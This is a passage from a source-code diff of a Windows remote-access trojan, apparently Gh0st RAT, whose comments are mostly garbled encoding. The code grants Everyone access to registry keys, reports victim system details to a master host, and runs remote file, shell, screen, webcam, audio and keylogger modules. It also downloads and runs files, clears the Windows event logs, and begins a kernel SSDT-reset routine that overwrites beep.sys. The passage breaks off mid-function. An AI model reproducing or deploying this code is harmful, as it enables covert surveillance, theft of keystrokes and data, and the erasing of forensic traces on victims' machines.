//<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>"Everyone"<22><>ָ<EFBFBD><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ṹea:
|
||||
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
|
||||
|
||||
char *lpUsers[] = {"SYSTEM", "Administrators", "Everyone", "Users"};
|
||||
for (int i = 0; i < sizeof(lpUsers) / sizeof(char *); i++)
|
||||
{
|
||||
BuildExplicitAccessWithName(&ea,
|
||||
lpUsers[i], // name of trustee
|
||||
AccessPermissions, // type of access
|
||||
AccessMode, // access mode
|
||||
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //<2F>Ӽ<EFBFBD><D3BC>̳<EFBFBD><CCB3><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
|
||||
}
|
||||
//<2F>ϲ<EFBFBD><CFB2>ṹea<65><61>OldDACL<43><4C>Ȩ<EFBFBD><C8A8><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>µ<EFBFBD>NewDACL:
|
||||
if (SetEntriesInAcl(1, &ea, NULL, &NewDACL) == ERROR_SUCCESS)
|
||||
{
|
||||
//<2F><><EFBFBD>µ<EFBFBD>ACLд<4C>뵽ָ<EBB5BD><D6B8><EFBFBD>ļ<EFBFBD>:
|
||||
SetNamedSecurityInfo(lpKeyName, ObjectType,
|
||||
DACL_SECURITY_INFORMATION,
|
||||
NULL, NULL,
|
||||
NewDACL,
|
||||
NULL);
|
||||
bRet = TRUE;
|
||||
}
|
||||
//<2F>ͷ<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
|
||||
if(SD != NULL)
|
||||
LocalFree((HLOCAL) SD);
|
||||
if(NewDACL != NULL)
|
||||
LocalFree((HLOCAL) NewDACL);
|
||||
if(OldDACL != NULL)
|
||||
LocalFree((HLOCAL) OldDACL);
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD QueryServiceTypeFromRegedit(char *lpServiceName)
|
||||
{
|
||||
int rc = 0;
|
||||
HKEY hKey = 0;
|
||||
DWORD dwServiceType = 0;
|
||||
try{
|
||||
char buff[500];
|
||||
//config service
|
||||
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
|
||||
strcat(buff, lpServiceName);
|
||||
rc = RegOpenKey(HKEY_LOCAL_MACHINE, buff, &hKey);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
{
|
||||
throw "";
|
||||
}
|
||||
|
||||
DWORD type, size = sizeof(DWORD);
|
||||
rc = RegQueryValueEx(hKey, "Type", 0, &type, (unsigned char *)&dwServiceType, &size);
|
||||
RegCloseKey(hKey);
|
||||
SetLastError(rc);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
throw "RegQueryValueEx(Type)";
|
||||
}
|
||||
catch(...)
|
||||
{
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return dwServiceType;
|
||||
}
|
14
CcMainDll/CcMainDll/common/install.h
Normal file
14
CcMainDll/CcMainDll/common/install.h
Normal file
@@ -0,0 +1,14 @@
|
||||
|
||||
#if !defined(AFX_INSTALL_H_INCLUDED)
|
||||
#define AFX_INSTALL_H_INCLUDED
|
||||
#include <windows.h>
|
||||
#include <aclapi.h>
|
||||
void DeleteInstallFile(char *lpServiceName);
|
||||
bool IsServiceRegExists(char *lpServiceName);
|
||||
void ReConfigService(char *lpServiceName);
|
||||
DWORD QueryServiceTypeFromRegedit(char *lpServiceName);
|
||||
void RemoveService(LPCTSTR lpServiceName);
|
||||
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString);
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes);
|
||||
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode);
|
||||
#endif // !defined(AFX_INSTALL_H_INCLUDED)
|
210
CcMainDll/CcMainDll/common/login.h
Normal file
210
CcMainDll/CcMainDll/common/login.h
Normal file
@@ -0,0 +1,210 @@
|
||||
|
||||
#include <wininet.h>
|
||||
#include <stdlib.h>
|
||||
#include <vfw.h>
|
||||
#include "decode.h"
|
||||
#include "until.h"
|
||||
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma comment(lib, "vfw32.lib")
|
||||
typedef struct
|
||||
{
|
||||
BYTE bToken; // = 1
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
int CPUClockMhz; // CPU<50><55>Ƶ
|
||||
IN_ADDR IPAddress; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char HostName[50]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool bIsWebCam; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGININFO;
|
||||
|
||||
|
||||
void SplitLoginInfo(char *lpDecodeString, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
|
||||
char **lppszProxyUser, char **lppszProxyPass)
|
||||
{
|
||||
*lppszHost = NULL;
|
||||
*lppPort = 0;
|
||||
*lppszProxyHost = NULL;
|
||||
*lppProxyPort = 0;
|
||||
*lppszProxyUser = NULL;
|
||||
*lppszProxyPass = NULL;
|
||||
|
||||
bool bIsProxyUsed = false;
|
||||
bool bIsAuth = false;
|
||||
UINT nSize = lstrlen(lpDecodeString) + 1;
|
||||
char *lpString = new char[nSize];
|
||||
memcpy(lpString, lpDecodeString, nSize);
|
||||
|
||||
char *pStart, *pNext, *pEnd;
|
||||
*lppszHost = lpString;
|
||||
|
||||
if ((pStart = strchr(lpString, ':')) == NULL)
|
||||
return;
|
||||
|
||||
*pStart = '\0';
|
||||
if ((pNext = strchr(pStart + 1, '|')) != NULL)
|
||||
{
|
||||
bIsProxyUsed = true;
|
||||
*pNext = '\0';
|
||||
}
|
||||
*lppPort = atoi(pStart + 1);
|
||||
|
||||
if (!bIsProxyUsed)
|
||||
return;
|
||||
|
||||
pNext++;
|
||||
*lppszProxyHost = pNext;
|
||||
|
||||
if ((pStart = strchr(pNext, ':')) == NULL)
|
||||
return;
|
||||
|
||||
*pStart = '\0';
|
||||
if ((pNext = strchr(pStart + 1, '|')) != NULL)
|
||||
{
|
||||
bIsAuth = true;
|
||||
*pNext = '\0';
|
||||
}
|
||||
*lppProxyPort = atoi(pStart + 1);
|
||||
|
||||
if (!bIsAuth)
|
||||
return;
|
||||
|
||||
pNext++;
|
||||
*lppszProxyUser = pNext;
|
||||
if ((pStart = strchr(pNext, ':')) == NULL)
|
||||
return;
|
||||
*pStart = '\0';
|
||||
*lppszProxyPass = pStart + 1;
|
||||
}
|
||||
|
||||
bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszProxyHost, LPDWORD lppProxyPort,
|
||||
char **lppszProxyUser, char **lppszProxyPass)
|
||||
{
|
||||
if (lpURL == NULL)
|
||||
return false;
|
||||
char *pStart, *pEnd;
|
||||
char buffer[2048];
|
||||
char strEncode[1024];
|
||||
|
||||
DWORD dwBytesRead = 0;
|
||||
bool bRet = false;
|
||||
|
||||
// û<><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL)
|
||||
{
|
||||
SplitLoginInfo(lpURL, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
|
||||
return true;
|
||||
}
|
||||
|
||||
HINTERNET hNet;
|
||||
HINTERNET hFile;
|
||||
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
|
||||
if (hNet == NULL)
|
||||
return bRet;
|
||||
hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
|
||||
if (hFile == NULL)
|
||||
return bRet;
|
||||
|
||||
do
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
InternetReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead);
|
||||
|
||||
if ((pStart = strstr(buffer, "AAAA")) == NULL)
|
||||
continue;
|
||||
pStart += 4;
|
||||
if ((pEnd = strstr(pStart, "AAAA")) == NULL)
|
||||
continue;
|
||||
|
||||
memset(strEncode, 0, sizeof(strEncode));
|
||||
memcpy(strEncode, pStart, pEnd - pStart);
|
||||
|
||||
char *lpDecodeString = MyDecode(strEncode);
|
||||
|
||||
SplitLoginInfo(lpDecodeString, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
|
||||
bRet = true;
|
||||
} while (dwBytesRead > 0);
|
||||
|
||||
InternetCloseHandle(hFile);
|
||||
InternetCloseHandle(hNet);
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
|
||||
// Get System Information
|
||||
DWORD CPUClockMhz()
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwCPUMhz;
|
||||
DWORD dwBytes = sizeof(DWORD);
|
||||
DWORD dwType = REG_DWORD;
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
||||
RegCloseKey(hKey);
|
||||
return dwCPUMhz;
|
||||
}
|
||||
|
||||
bool IsWebCam()
|
||||
{
|
||||
bool bRet = false;
|
||||
|
||||
char lpszName[100], lpszVer[50];
|
||||
for (int i = 0; i < 10 && !bRet; i++)
|
||||
{
|
||||
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
|
||||
lpszVer, sizeof(lpszVer));
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
UINT GetHostRemark(LPCTSTR lpServiceName, LPTSTR lpBuffer, UINT uSize)
|
||||
{
|
||||
char strSubKey[1024];
|
||||
memset(lpBuffer, 0, uSize);
|
||||
memset(strSubKey, 0, sizeof(strSubKey));
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
|
||||
|
||||
if (lstrlen(lpBuffer) == 0)
|
||||
gethostname(lpBuffer, uSize);
|
||||
|
||||
return lstrlen(lpBuffer);
|
||||
}
|
||||
|
||||
int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
|
||||
{
|
||||
int nRet = SOCKET_ERROR;
|
||||
// <20><>¼<EFBFBD><C2BC>Ϣ
|
||||
LOGININFO LoginInfo;
|
||||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LoginInfo.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
LoginInfo.bIsWebCam = 0; //û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// IP<49><50>Ϣ
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char hostname[256];
|
||||
GetHostRemark(strServiceName, hostname, sizeof(hostname));
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD>IP<49><50>ַ
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
|
||||
memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
|
||||
memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
|
||||
// CPU
|
||||
LoginInfo.CPUClockMhz = CPUClockMhz();
|
||||
LoginInfo.bIsWebCam = IsWebCam();
|
||||
|
||||
// Speed
|
||||
LoginInfo.dwSpeed = dwSpeed;
|
||||
|
||||
nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
|
||||
|
||||
return nRet;
|
||||
}
|
239
CcMainDll/CcMainDll/common/loop.h
Normal file
239
CcMainDll/CcMainDll/common/loop.h
Normal file
@@ -0,0 +1,239 @@
|
||||
#if !defined(AFX_LOOP_H_INCLUDED)
|
||||
#define AFX_LOOP_H_INCLUDED
|
||||
#include "KernelManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "until.h"
|
||||
#include "install.h"
|
||||
#include <wininet.h>
|
||||
|
||||
extern bool g_bSignalHook;
|
||||
|
||||
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
|
||||
{
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CClientSocket socketClient;
|
||||
//<2F><><EFBFBD><EFBFBD>
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1; //<2F><><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager Ҳ<><D2B2><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>պ<EFBFBD><D5BA>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD> CFileManager::OnReceive
|
||||
CFileManager manager(&socketClient);
|
||||
socketClient.run_event_loop(); //---<2D>ȴ<EFBFBD><C8B4>߳̽<DFB3><CCBD><EFBFBD>
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CShellManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CScreenManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͬһ<CDAC>̵߳<DFB3><CCB5><EFBFBD>sendDIB<49><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_VideoManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
CVideoManager manager(&socketClient);
|
||||
socketClient.run_event_loop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
CAudioManager manager(&socketClient);
|
||||
socketClient.run_event_loop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
|
||||
{
|
||||
char strKeyboardOfflineRecord[MAX_PATH];
|
||||
GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
|
||||
lstrcat(strKeyboardOfflineRecord, "\\syslog.dat");
|
||||
|
||||
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
|
||||
g_bSignalHook = true;
|
||||
else
|
||||
g_bSignalHook = false;
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (g_bSignalHook == false)Sleep(100);
|
||||
CKeyboardManager::StartHook();
|
||||
while (g_bSignalHook == true)Sleep(100);
|
||||
CKeyboardManager::StopHook();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CKeyboardManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CSystemManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_DownManager(LPVOID lparam)
|
||||
{
|
||||
int nUrlLength;
|
||||
char *lpURL = NULL;
|
||||
char *lpFileName = NULL;
|
||||
nUrlLength = strlen((char *)lparam);
|
||||
if (nUrlLength == 0)
|
||||
return false;
|
||||
|
||||
lpURL = (char *)malloc(nUrlLength + 1);
|
||||
|
||||
memcpy(lpURL, lparam, nUrlLength + 1);
|
||||
|
||||
lpFileName = strrchr(lpURL, '/') + 1;
|
||||
if (lpFileName == NULL)
|
||||
return false;
|
||||
|
||||
if (!http_get(lpURL, lpFileName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
char c_lpDesktop[] = "WinSta0\\Default";
|
||||
si.lpDesktop = TEXT("WinSta0\\Default");
|
||||
CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>urldowntofile<6C>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ῠ<EFBFBD><E1BFA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool UpdateServer(LPCTSTR lpURL)
|
||||
{
|
||||
char *lpFileName = NULL;
|
||||
|
||||
lpFileName = (char *)(strrchr(lpURL, '/') + 1);
|
||||
if (lpFileName == NULL)
|
||||
return false;
|
||||
if (!http_get(lpURL, lpFileName))
|
||||
return false;
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
si.lpDesktop = "WinSta0\\Default";
|
||||
return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
}
|
||||
|
||||
|
||||
bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
||||
{
|
||||
if (strlen(lpszURL) == 0)
|
||||
return false;
|
||||
|
||||
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
|
||||
char *lpSubKey = "Applications\\iexplore.exe\\shell\\open\\command";
|
||||
HKEY hKey;
|
||||
char strIEPath[MAX_PATH];
|
||||
LONG nSize = sizeof(strIEPath);
|
||||
char *lpstrCat = NULL;
|
||||
memset(strIEPath, 0, sizeof(strIEPath));
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
RegQueryValue(hKey, NULL, strIEPath, &nSize);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (lstrlen(strIEPath) == 0)
|
||||
return false;
|
||||
|
||||
lpstrCat = strstr(strIEPath, "%1");
|
||||
if (lpstrCat == NULL)
|
||||
return false;
|
||||
|
||||
lstrcpy(lpstrCat, lpszURL);
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
if (nShowCmd != SW_HIDE)
|
||||
si.lpDesktop = "WinSta0\\Default";
|
||||
|
||||
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CleanEvent()
|
||||
{
|
||||
char *strEventName[] = {"Application", "Security", "System"};
|
||||
|
||||
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
|
||||
{
|
||||
HANDLE hHandle = OpenEventLog(NULL, strEventName[i]);
|
||||
if (hHandle == NULL)
|
||||
continue;
|
||||
ClearEventLog(hHandle, NULL);
|
||||
CloseEventLog(hHandle);
|
||||
}
|
||||
}
|
||||
|
||||
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
|
||||
{
|
||||
char strSubKey[1024];
|
||||
memset(strSubKey, 0, sizeof(strSubKey));
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
|
||||
}
|
||||
|
||||
|
||||
#endif // !defined(AFX_LOOP_H_INCLUDED)
|
436
CcMainDll/CcMainDll/common/resetssdt.h
Normal file
436
CcMainDll/CcMainDll/common/resetssdt.h
Normal file
@@ -0,0 +1,436 @@
|
||||
#include <windows.h>
|
||||
#include <shlwapi.h>
|
||||
#include <winioctl.h>
|
||||
#include "resource.h"
|
||||
#define IOCTL_SETPROC (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, 0x852, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA )
|
||||
|
||||
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
|
||||
#define ibaseDD *(PDWORD)&ibase
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
typedef struct {
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *PFNNtQuerySystemInformation)(
|
||||
DWORD SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
|
||||
ULONG Reserved[2];
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT Unknown;
|
||||
USHORT LoadCount;
|
||||
USHORT ModuleNameOffset;
|
||||
CHAR ImageName[256];
|
||||
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfModules;
|
||||
SYSTEM_MODULE_INFORMATION smi;
|
||||
} MODULES, *PMODULES;
|
||||
|
||||
|
||||
//----------------------------------------------------------------
|
||||
// stuff not found in header files
|
||||
//----------------------------------------------------------------
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
#ifdef MIDL_PASS
|
||||
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
|
||||
#else // MIDL_PASS
|
||||
PWSTR Buffer;
|
||||
#endif // MIDL_PASS
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef long NTSTATUS;
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
typedef
|
||||
NTSTATUS
|
||||
(__stdcall *ZWSETSYSTEMINFORMATION)(
|
||||
DWORD SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength
|
||||
);
|
||||
|
||||
typedef
|
||||
VOID
|
||||
(__stdcall *RTLINITUNICODESTRING)(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCWSTR SourceString
|
||||
);
|
||||
|
||||
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
|
||||
RTLINITUNICODESTRING RtlInitUnicodeString;
|
||||
|
||||
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
|
||||
{
|
||||
UNICODE_STRING ModuleName;
|
||||
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
|
||||
|
||||
#define SystemLoadAndCallImage 38
|
||||
|
||||
|
||||
char g_strService[10]; // "Beep"
|
||||
char g_strBeepSys[MAX_PATH]; // "c:\\windows\\system32\\Drivers\\beep.sys"
|
||||
LPBYTE g_lpBeepSys = NULL;
|
||||
DWORD g_dwBeepLen = 0;
|
||||
|
||||
BOOL ModifyFromResource(HMODULE hModule, WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
|
||||
{
|
||||
HGLOBAL hRes;
|
||||
HRSRC hResInfo;
|
||||
HANDLE hFile;
|
||||
DWORD dwBytes = 0;
|
||||
hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
|
||||
if (hResInfo == NULL)
|
||||
return FALSE;
|
||||
hRes = LoadResource(hModule, hResInfo);
|
||||
if (hRes == NULL)
|
||||
return FALSE;
|
||||
hFile = CreateFile
|
||||
(
|
||||
lpFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
TRUNCATE_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == NULL)
|
||||
return FALSE;
|
||||
|
||||
WriteFile(hFile, hRes, SizeofResource(hModule, hResInfo), &dwBytes, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
BOOL SetProc( IN HANDLE hDriver, IN ULONG ulIndex, IN PULONG buf )
|
||||
{
|
||||
if ( NULL == buf )
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
DWORD dwReturned;
|
||||
BOOL bRet = DeviceIoControl( hDriver, IOCTL_SETPROC, &ulIndex,sizeof( ULONG ), buf, sizeof( ULONG ), &dwReturned, NULL );
|
||||
return bRet && ERROR_SUCCESS == GetLastError();
|
||||
}
|
||||
|
||||
|
||||
DWORD GetHeaders(PCHAR ibase,
|
||||
PIMAGE_FILE_HEADER *pfh,
|
||||
PIMAGE_OPTIONAL_HEADER *poh,
|
||||
PIMAGE_SECTION_HEADER *psh)
|
||||
|
||||
{
|
||||
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
|
||||
|
||||
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE) ||
|
||||
(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE))
|
||||
return FALSE;
|
||||
|
||||
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
|
||||
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE)
|
||||
return FALSE;
|
||||
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
|
||||
|
||||
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
|
||||
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
return FALSE;
|
||||
|
||||
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
|
||||
{
